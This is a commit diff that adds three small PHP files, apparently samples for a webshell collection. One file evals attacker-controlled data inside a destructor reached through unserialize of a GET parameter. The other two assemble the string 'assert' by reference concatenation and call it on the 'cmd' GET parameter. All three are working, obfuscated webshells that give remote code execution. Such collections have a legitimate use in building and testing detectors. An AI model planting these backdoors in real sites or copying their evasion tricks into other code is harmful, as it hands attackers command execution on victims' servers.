add new samples

php/6246f5f2dc1cfff4f994fa6ee70ed0d04c94883c.php

@@ -0,0 +1,13 @@
+<?php
+
+class foo{
+    public $data="text";
+    function __destruct()
+    {
+        eval($this->data);
+    }
+
+}
+
+$file_name=$_GET['id'];
+unserialize($file_name);

php/f1c9757a94f46b4abd4f738acd37e52778ca61ac.php

@@ -0,0 +1,17 @@
+<?php
+class talker{
+    public $data = 'Hi';
+    public function & get(){
+        return $this->data;
+    }
+}
+$aa = new talker();
+$d = &$aa->get();
+$d = $_GET[cmd];
+function foo(&$var)
+{
+    $var=$var.'t';
+}
+$a="asser";
+foo($a);
+$a($aa->data);

php/f3e8a92101dfed2040cd66268277f9ee360d5fff.php

@@ -0,0 +1,8 @@
+<?php
+function foo(&$var)
+{
+    $var=$var.'t';
+}
+$a="asser";
+foo($a);
+$a($_GET[cmd]);